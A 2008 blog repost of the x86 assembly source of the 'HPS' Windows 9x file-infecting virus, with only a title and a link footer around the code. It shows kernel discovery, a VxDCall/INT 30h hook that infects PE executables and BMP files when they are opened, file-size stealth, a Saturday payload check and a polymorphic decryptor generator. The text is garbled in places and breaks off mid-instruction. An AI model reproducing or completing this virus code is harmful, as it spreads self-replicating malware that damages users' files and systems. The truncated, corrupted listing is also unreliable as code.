HPS virus 源程式 (轉)

gugu99發表於2008-07-07
HPS virus 源程式 (轉)[@more@]

 

.386P

  locals

  jumps

  .model flat,STDCALL

  ;Include the following files

  include .inc

  include Useful.inc

  include Mz.inc

  include Pe.inc

  ;Some externals only used on 1st generation

  extrn ExitProcess:NEAR

  extrn MessageBoxA:NEAR

  ;Virus equates

mem_size  equ mem_end-mem_base  ;Size of virus in

memory

inf_size  equ inf_end-mem_base  ;Size of virus in

files

base_default  equ 00400000h  ;Default host base

address

page_mem_size  equ (mem_size+    ;Virus in memory

  inf_size+    ;Virus copy for

infections

  poly_max_size+   ;Poly decryptor

  0FFFh)/1000h  ;Size in memory pages

page_align  equ 10000h  ;Page allocation

alignment

SIZE_PADDING  equ 00000065h  ;Mark for infected

files

  ;Some equates stolen from VMM.h

PR_PRIVATE  EQU  80000400h

PR_SHARED  EQU  80060000h

PR_SYSTEM  EQU  80080000h

PR_FIXED  EQU  00000008h

PR_4MEG  EQU  00000001h

PR_STATIC  EQU  00000010h

PD_ZEROINIT  EQU  00000001h

PD_NOINIT  EQU  00000002h

PD_FIXEDZERO  EQU  00000003h

PD_FIXED  EQU  00000004h

PC_FIXED  EQU  00000008h

PC_LOCKED  EQU  00000080h

PC_LOCKEDIFDP  EQU  00000100h

PC_WRITEABLE  EQU  00020000h

PC_USER  EQU  00040000h

PC_INCR  EQU  40000000h

PC_PRESENT  EQU  80000000h

PC_STATIC  EQU  20000000h

PC_DIRTY  EQU  08000000h

PCC_ZEROINIT  EQU  00000001h

PCC_NOLIN  EQU  10000000h

_TEXT  segment d use32 public 'CODE'

host_entry:  xor ebp,ebp

  call entry_1st_gen

  xor eax,eax

  push eax

  call ExitProcess

_TEXT  ends

_DATA  segment dword use32 public 'DATA'

_DATA  ends

_BSS  segment dword use32 public 'BSS'

_BSS  ends

virseg  segment dword use32 public 'HPS'

mem_base  equ this byte

virus_entry:  call get_delta  ;Get

delta-offset

get_delta:  pop ebp  ;into ebp and

  mov eax,ebp  ;host original

  sub ebp,offset get_delta  ;entry-point

in eax

  2Dh  ;sub eax,xxxx

infected_ep  dd 00000000h

  db 05h  ;add eax,xxxx

original_ep  dd 00000000h

  push eax

entry_1st_gen:  ;Scan memory looking for KERNEL32.dll

  ;We can do this without causing protection faults,

  ;just setup a structured exception handler to trap

faults

  ;produced by our scan

  ;Thanks to Jacky Qwerty for this piece of code

  pushad

try_01:  mov eax,080000101h

  call IGetK32BaseAddr

  jecxz try_02

  jmp kernel_found

try_02:  mov eax,0C0000101h

  call IGetK32BaseAddr

  jecxz try_03

  jmp kernel_found

try_03:  xor eax,eax

  call IGetK32BaseAddr

kernel_found:  mov dword ptr [esp.Pushad_ebx],ecx

  popad

  or ebx,ebx

  jz init_error

  mov eax,dword ptr [ebx+IMAGE_DOS_HEADER.MZ_lfanew]

  add eax,ebx

  mov edi,dword ptr [eax+NT_OptionalHeader. 

  OH_DirectoryEntries. 

  DE_Export. 

  DD_VirtualAddress]

  add edi,ebx

  mov esi,dword ptr [edi+ED_AddressOfFunctions]

  add esi,ebx

  xor edx,edx

address_l:  cmp edx,dword ptr [edi+ED_NumberOfFunctions]

  jae init_error

  mov ecx,00000008h-01h

function_loop:  inc edx

  lodsd

  cmp eax,dword ptr [esi]

  jne address_loop

  loop function_loop

  add eax,ebx

  mov dword ptr [ebp+a_VxDCall],eax  ;VxDCall found

  ;At this point we know how to call VxDCall api

  ;So we can use our int21h dispatcher to perfo

  ;the resncy check

  mov eax,00002A00h

  mov esi,"HPS!"

  mov edi,"TSR?"

  call my_int21h

  cmp esi,"YES!"

  je init_error

  ;Check if time to activate our payload

  xor ecx,ecx

  cmp al,06h  ;Saturday?

  jne activation_end

  inc ecx

activation_end: mov dword ptr [ebp+bmp_active],ecx

  ;Well... Now lets use VxDCall to allocate some

  ;shared memory

  ;This memory will stay there after host tenation

  ;and will be visible to all running processes

  push PC_WRITEABLE or PC_USER

  push page_mem_size  ;# of pages

  push PR_SHARED

  PUSH 00010000h  ;Call to

_PageReserve

  call dword ptr [ebp+a_VxDCall]  ;VxDCall0

  cmp eax,0FFFFFFFFh  ;Success?

  je init_error

  cmp eax,80000000h  ;In shared

memory?

  jb free_pages

  mov dword ptr [ebp+mem_address],eax  ;Save linnear

address

  push PC_WRITEABLE or PC_USER or PC_PRESENT or PC_FIXED

  push 00000000h

  push PD_ZEROINIT

  push page_mem_size  ;# of pages

  shr eax,0Ch  ;Linnear page

number

  push eax

  push 00010001h  ;Call to

_PageCommit

  call dword ptr [ebp+a_VxDCall]  ;VxDCall0

  or eax,eax

  je free_pages

commit_success: mov eax,dword ptr [ebp+mem_address]  ;Point eax to

our

  add eax,VxDCall_code-mem_base  ;hook

procedure

  mov dword ptr [ebp+ptr_location],eax  ;Setup far jmp

  mov dword ptr [ebp+hook_status],"FREE"  ;Clear busy

flag

  mov esi,dword ptr [ebp+a_VxDCall]  ;VxDCall

entry-point

  mov ecx,00000100h  ;Explore 0100h

bytes

trace_VxDCall:  lodsb

  cmp al,2Eh

  jne trace_next

  cmp word ptr [esi],1DFFh

  je get_int30h

trace_next:  loop trace_VxDCall

free_pages:  xor eax,eax

  push eax

  push dword ptr [ebp+mem_address]

  push 0001000Ah  ;Call to

_PageFree

  call dword ptr [ebp+a_VxDCall]  ;VxDCall0

  jmp init_error

get_int30h:  ;Before setting our hook lets generate one polymorphic

  ;decryptor... We will use this decryptor for each file

  ;infection... This is also known as slow-mutation

  call mutate  ;Generate

decryptor

  ;Now we have all the necesary information to hook

  ;calls to VxDCall function

  ;Save the 16:32 pointer to INT 30h instruction and

  ;overwrite it with the address of our hook procedure

  cli

  lodsw  ;SkFF 1D

opcodes

  lodsd  ;Get ptr to

INT 30h

  push eax

  mov esi,eax

  mov edi,dword ptr [ebp+mem_address]

  add edi,VxDCall_code-mem_base

  mov ecx,00000006h

  rep movsb

  pop edi

  mov eax,dword ptr [ebp+mem_address]

  add eax,VxDCall_hook-mem_base

  stosd

  mov ax,cs  ;Overwrite far

ptr

  stosw

  sti

init_error:  lea ebp,dword ptr [esp+0000013Ch-00000004h]

  ret

SEH_ExcptBlock  macro

  add esp,-shad

  jnz GK32BA_L1

  endm

IGetK32BaseAddr: @SEH_SetupFrame <SEH_ExcptBlock>

  mov ecx,edx

  xchg ax,cx

GK32BA_L0:  dec cx

  jz GK32BA_L2

  add eax,-10000h

  pushad

  mov bx,-IMAGE_DOS_SIGNATURE

  add bx,[eax]

  mov esi,eax

  jnz GK32BA_L1

  mov ebx,-IMAGE_NT_SIGNATURE

  add eax,[esi.MZ_lfanew]

  mov edx,esi

  add ebx,[eax]

  jnz GK32BA_L1

  add edx,[eax.NT_OptionalHeader.OH_DirectoryEntries 

  .DE_Export.DD_VirtualAddress]

  cld

  add esi,[edx.ED_Name]

  lodsd

  and eax,not 20202020h

  add eax,-'NREK'

  jnz GK32BA_L1

  lodsd

  or ax,2020h

  add eax,-'23le'

  jnz GK32BA_L1

  lodsb

  xor ah,al

  jz GK32BA_L1

  add al,-'.'

  lodsd

  jnz GK32BA_L1

  and eax,not 202020h

  add eax,-'LLD'

GK32BA_L1:  popad

  jnz GK32BA_L0

  xchg ecx,eax

  inc eax

GK32BA_L2:  @SEH_RemoveFrame

  ret

  include excpt.inc

VxDCall_hook:  pushad

  call mem_delta  ;Get

mem_delta:  pop ebp  ;delta offset

  sub ebp,offset mem_delta

  cmp dword ptr [ebp+hook_status],"BUSY"  ;Dont process

our

  je exit_hook  ;own calls

  cmp eax,002A0010h  ;VWIN32 VxD

int 21h?

  jne exit_hook

  mov eax,dword ptr [esp+0000002Ch]

  cmp ax,2A00h  ;Get system

  je tsr_check

  cmp ax,3D00h  ;Open file

  je infection_edx

  cmp ax,3D01h  ;Open file

  je infection_edx  ;read/write?

  cmp ax,7143h  ;X-Get/set

  je infection_edx

  cmp ax,714Eh  ;LFN find

  je stealth

  cmp ax,714Fh  ;LFN find next

  je stealth

  cmp ax,7156h  ;LFN rename

  je infection_edx

  cmp ax,716Ch  ;LFN extended

  je infection_esi

  cmp ax,71A8h  ;Generate

  je infection_esi

exit_hook:  popad

do_far_jmp:  ;Do a jmp fword ptr cs:[xxxxxxxx] into original code

  db 2Eh,0FFh,2Dh

ptr_location  dd 00000000h

tsr_check:  cmp esi,"HPS!"  ;Is our tsr

check?

  jne exit_hook

  cmp edi,"TSR?"

  jne exit_hook

  popad

  mov esi,"YES!"  ;Already

resident

  jmp short do_far_jmp

stealth:  mov eax,dword ptr [esp+00000028h]  ;Save return

address

  mov dword ptr [ebp+stealth_ret],eax

  lea eax,dword ptr [ebp+api_ret]  ;Set new ret

address

  mov dword ptr [esp+00000028h],eax

  mov dword ptr [ebp+find_data],edi  ;Save

ptr2FindData

  jmp exit_hook

api_ret:  ;As result of the above code we will get control after

  ;int21h FindFirst or FindNext funcions

  jc back2caller  ;Exit if fail

  pushad  ;Save all

registers

  call stealth_delta  ;Delta offset

used

stealth_delta:  pop ebp  ;in stealth

routines

  sub ebp,offset stealth_delta

  db 0BFh  ;mov edi,ptr

FindData

find_data  dd 00000000h

  xor eax,eax

  cmp dword ptr [edi+WFD_nFileSizeHigh],eax

  jne stealth_done

  mov eax,dword ptr [edi+WFD_nFileSizeLow]

  mov ecx,SIZE_PADDING

  xor edx,edx

  div ecx

  or edx,edx

  jnz stealth_done

  lea esi,dword ptr [edi+WFD_szFileName]  ;Ptr to

filename

  push esi

  call check_filename

  pop esi

  jc stealth_done

  mov dword ptr [ebp+hook_status],"BUSY"  ;Set busy flag

  mov eax,0000716Ch  ;LFN Ext

Open/Create

  xor ebx,ebx  ;Read

  xor ecx,ecx  ;Attribute

normal

  xor edx,edx

  inc edx  ;Open existing

  call my_int21h

  jc stealth_done

  mov ebx,eax

  mov edx,dword ptr [edi+WFD_nFileSizeLow]

  sub edx,00000004h

  call seek_here

  jc close_stealth

  mov eax,00003F00h  ;Read bytes

written

  mov ecx,00000004h

  lea edx,dword ptr [ebp+stealth_this]

  call my_int21h

  jc close_stealth

  mov eax,dword ptr [ebp+stealth_this]

  sub dword ptr [edi+WFD_nFileSizeLow],eax

close_stealth:  mov eax,00003E00h  ;Close file

  call my_int21h

stealth_done:  mov dword ptr [ebp+hook_status],"FREE"  ;Clear busy

flag

  popad  ;Save all

registers

  clc  ;Return no

error

back2caller:  push eax

  push eax

  db 0B8h  ;Load eax with

the

stealth_ret  dd 00000000h  ;return

address

  mov dword ptr [esp+00000004h],eax

  pop eax

  ret

infection_edx:  mov esi,edx

infection_esi:  mov dword ptr [ebp+hook_status],"BUSY"  ;Set busy flag

  call check_filename

  jc exit_infection

  mov dword ptr [ebp+ptr_filename],edx

  mov esi,edx

  xor ecx,ecx

  cld

name_checksum:  xor eax,eax

  lodsb

  or al,al

  jz got_checksum

  add ecx,eax

  jmp short name_checksum

got_checksum:  cmp dword ptr [ebp+last_checksum],ecx

  je exit_infection

  mov dword ptr [ebp+last_checksum],ecx

  mov eax,00007143h  ;LFN Ext

  xor ebx,ebx  ;Retrieve

  lea edx,dword ptr [ebp+target_filename] ;Ptr to

  call my_int21h

  jc exit_infection

  mov dword ptr [ebp+file_attrib],ecx  ;Save original

  mov eax,00007143h  ;LFN Ext

  mov bl,01h  ;Set file

  xor ecx,ecx  ;Clear all

  lea edx,dword ptr [ebp+target_filename] ;Ptr to

  call my_int21h

  jc exit_infection

  mov eax,00007143h  ;LFN Ext

  mov bl,04h  ;Retrieve last w

  lea edx,dword ptr [ebp+target_filename] ;Ptr to

  call my_int21h

  jc exit_infection

  mov dword ptr [ebp+file_time],ecx  ;Save original

  mov dword ptr [ebp+file_date],edi  ;Save original

  mov eax,0000716Ch  ;LFN Ext

  mov ebx,00000002h  ;Read/Write

  xor ecx,ecx  ;Attribute

  mov edx,00000001h  ;Open existing

  lea esi,dword ptr [ebp+target_filename] ;Ptr to

  call my_int21h

  jc exit_infection

  mov ebx,eax

  mov eax,00003F00h  ;Read MsD

  mov ecx,IMAGE_SIZEOF_DOS_HEADER  ;or bitmap

  lea edx,dword ptr [ebp+msdos_header]  ;header

  call my_int21h

  jc close_file

  cmp word ptr [ebp+msdos_header],IMAGE_DOS_SIGNATURE

  je executable

  xor eax,eax

  cmp dword ptr [ebp+bmp_active],eax

  je close_file

  cmp word ptr [ebp+msdos_header],"MB"

  jne close_file

  cmp dword ptr [ebp+msdos_header+0000001Ah],00080001h

  jne close_file

  ;Skip .BMP files that use compression

  xor eax,eax

  cmp dword ptr [ebp+msdos_header+0000001Eh],eax

  jne close_file

  ;Check bitmap size in bytes

  mov eax,dword ptr [ebp+msdos_header+00000012h]

  mov ecx,dword ptr [ebp+msdos_header+00000016h]

  mul ecx

  cmp eax,dword ptr [ebp+msdos_header+00000022h]

  jne close_file

  call seek_eof

  cmp dword ptr [ebp+msdos_header+00000002h],eax

  jne close_file

  add eax,00000FFFh

  xor edx,edx

  mov ecx,00001000h

  div ecx

  mov dword ptr [ebp+bmp_pages],eax

  push ebx

  push PC_WRITEABLE or PC_USER

  push eax  ;# of pages

  push PR_SYSTEM

  PUSH 00010000h  ;Call to

_PageReserve

  call dword ptr [ebp+a_VxDCall]  ;VxDCall0

  pop ebx

  cmp eax,0FFFFFFFFh  ;Success?

  je close_file

  mov dword ptr [ebp+bmp_address],eax  ;Save linnear

  push ebx

  push PC_WRITEABLE or PC_USER

  push 00000000h

  push PD_ZEROINIT

  push dword ptr [ebp+bmp_pages]  ;# of pages

  shr eax,0Ch  ;Linnear page

  push eax

  push 00010001h  ;Call to

_PageCommit

  call dword ptr [ebp+a_VxDCall]  ;VxDCall0

  pop ebx

  or eax,eax

  je free_bmp_mem

  call seek_bof  ;Return to bof

  jc close_file

  mov eax,00003F00h  ;Read the

  mov ecx,dword ptr [ebp+msdos_header+00000002h]

  mov edx,dword ptr [ebp+bmp_address]

  call my_int21h

  jc free_bmp_mem

  mov eax,dword ptr [ebp+bmp_address]

  mov esi,dword ptr [eax+0000000Ah]

  add esi,eax

  cmp dword ptr [esi],0DEABEh  ;Already

  je free_bmp_mem

  push esi

  push edi

  mov ecx,SIZE_PADDING

  call rnd_fill

  pop edi

  ;Decryptor done, save its size

  pop eax

  sub dword ptr [ebp+entry_point],eax

  sub edi,eax

  mov dword ptr [ebp+decryptor_size],edi

  ;Copy virus body to our buffer

  lea esi,dword ptr [ebp+mem_base]

  mov edi,dword ptr [ebp+mem_address]

  mov ecx,mem_size

  rep movsb

  popad

  ret

scramble_virus: lea esi,dword ptr [ebp+mem_base]

  lea edi,dword ptr [esi+mem_size]

  push edi

  mov ecx,inf_size

  cld

  rep movsb

  call fixed_size2ecx

  pop edi

loop_hide_code: push ecx

  mov eax,dword ptr [edi]

  call perform_crypt

  xor ecx,ecx

  mov cl,byte ptr [ebp+oper_size]

loop_copy_res:  stosb

  shr eax,08h

  loop loop_copy_res

  pop ecx

  loop loop_hide_code

  ret

perform_crypt:  ;This buffer will contain the code to "crypt" the

virus code

  ;followed by a RET instruction

  db 10h dup (90h)

gen_get_delta:  ;Lets generate polymorphic code for the following

pseudocode:

  mov al,0E8h

  stosb

  ;Let space for the address to call

  stosd

  mov dword ptr [ebp+delta_call],edi

  push edi

  ;Generate some ran data

  call gen_rnd_block

  ;Get displacement from CALL instruction to destination

  ;address

  mov eax,edi

  pop esi

  sub eax,esi

  ;Put destination address after CALL opcode

  mov dword ptr [esi-00000004h],eax

  call gen_garbage

  mov al,58h

  or al,byte ptr [ebp+index_mask]

  stosb

  call gen_garbage

  ;Make needed fixes to point index to start or end of

  ;encrypted code

  mov eax,dword ptr [ebp+mem_address]

  add eax,mem_size

  add eax,dword ptr [ebp+ptr_disp]

  sub eax,dword ptr [ebp+delta_call]

  test byte ptr [ebp+build_flags],CRYPT_DIRECTION

  jz fix_dir_ok

  ;Direction is from top to bottom

  push eax

  call fixed_size2ecx

  xor eax,eax

  mov al,byte ptr [ebp+oper_size]

  push eax

  mul ecx

  pop ecx

  sub eax,ecx

  pop ecx

  add eax,ecx

fix_dir_ok:  push eax

  ;Fix using ADD or SUB?

  call get_rnd32

  and al,01h

  jz fix_with_sub

fix_with_add:  ;Generate ADD reg_index,fix_value

  mov ax,0C081h

  or ah,byte ptr [ebp+index_mask]

  stosw

  pop eax

  jmp short fix_done

fix_with_sub:  ;Generate SUB reg_index,-fix_value

  mov ax,0E881h

  or ah,byte ptr [ebp+index_mask]

  stosw

  pop eax

  neg eax

fix_done:  stosd

  ret

gen_load_ctr:  ;Easy now, just move counter random initial value

  ;into counter reg and calculate the end value

  mov al,0B8h

  or al,byte ptr [ebp+counter_mask]

  stosb

  call fixed_size2ecx

  call get_rnd32

  stosd

  test byte ptr [ebp+build_flags],CRYPT_CDIR

  jnz counter_down

counter_up:  add eax,ecx

  jmp short done_ctr_dir

counter_down:  sub eax,ecx

done_ctr_dir:  mov dword ptr [ebp+end_value],eax

  ret

gen_decrypt:  ;Check if we are going to use a displacement in the

  ;indexing mode

  mov eax,dword ptr [ebp+ptr_disp]

  or eax,eax

  jnz more_complex

  ;Choose generator for [reg] indexing mode

  mov edx,offset tbl_idx_reg

  call choose_magic

  jmp you_got_it

more_complex:  ;More fun?!?!

  mov al,byte ptr [ebp+build_flags]

  test al,CRYPT_SIMPLEX

  jnz crypt_xtended

  ;Choose generator for [reg+imm] indexing mode

  mov edx,offset tbl_dis_reg

  call choose_magic

you_got_it:  ;Use magic to convert some values into

  ;desired instructions

  call size_correct

  mov dl,byte ptr [ebp+index_mask]

  lodsb

  or al,al

  jnz adn_reg_01

  cmp dl,00000101b

  je adn_reg_02

adn_reg_01:  lodsb

  or al,dl

  stosb

  jmp common_part

adn_reg_02:  lodsb

  add al,45h

  xor ah,ah

  stosw

  jmp common_part

crypt_xtended:  ;Choose [reg+reg] or [reg+reg+disp]

  test al,CRYPT_COMPLEX

  jz ok_complex

  ;Get random displacement from current displacement

  ;eeehh?!?

  mov eax,00000010h

  call get_rnd_range

  mov dword ptr [ebp+disp2disp],eax

  call load_aux

  push ebx

  call gen_garbage

  ;Choose generator for [reg+reg+imm] indexing mode

  mov edx,offset tbl_paranoia

  call choose_magic

  jmp short done_xtended

ok_complex:  mov eax,dword ptr [ebp+ptr_disp]

  call load_aux

  push ebx

  call gen_garbage

  ;Choose generator for [reg+reg] indexing mode

  mov edx,offset tbl_xtended

  call choose_magic

done_xtended:  ;Build decryptor instructions

  call size_correct

  pop ebx

  mov dl,byte ptr [ebp+index_mask]

  lodsb

  mov cl,al

  or al,al

  jnz arn_reg_01

  cmp dl,00000101b

  jne arn_reg_01

  lodsb

  add al,40h

  stosb

  jmp short arn_reg_02

arn_reg_01:  movsb

arn_reg_02:  mov al,byte ptr [ebx+REG_MASK]

  shl al,03h

  or al,dl

  stosb

  or cl,cl

  jnz arn_reg_03

  cmp dl,00000101b

  jne arn_reg_03

  xor al,al

  stosb

arn_reg_03:  ;Restore aux reg state

  xor byte ptr [ebx+REG_FLAGS],REG_READ_ONLY

common_part:  ;Get post-build flags

  lodsb

  ;Insert displacement from real address?

  test al,MAGIC_PUTDISP

  jz skip_disp

  push eax

  mov eax,dword ptr [ebp+ptr_disp]

  sub eax,dword ptr [ebp+disp2disp]

  neg eax

  stosd

  pop eax

skip_disp:  ;Insert key?

  test al,MAGIC_PUTKEY

  jz skip_key

  call copy_key

skip_key:  ;Generate reverse code

  call do_reverse

  ret

choose_magic:  mov eax,00000006h

  call get_rnd_range

  add edx,ebp

  lea esi,dword ptr [edx+eax*04h]

  lodsd

  add eax,ebp

  mov esi,eax

  ret

size_correct:  lodsb

  mov ah,byte ptr [ebp+oper_size]

  cmp ah,01h

  je store_correct

  inc al

  cmp ah,04h

  je store_correct

  mov ah,66h

  xchg ah,al

  stosw

  ret

store_correct:  stosb

  ret

load_aux:  ;Get a valid auxiliary register

  push eax

  call get_valid_reg

  or byte ptr [ebx+REG_FLAGS],REG_READ_ONLY

  ;Move displacement into aux reg

  mov al,0B8h

  or al,byte ptr [ebx+REG_MASK]

  stosb

 

  pop eax

  neg eax

  stosd

  ret

do_reverse:  xor eax,eax

  mov al,byte ptr [ebp+oper_size]

  shr eax,01h

  shl


來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/10748419/viewspace-1006893/,如需轉載,請註明出處,否則將追究法律責任。

相關文章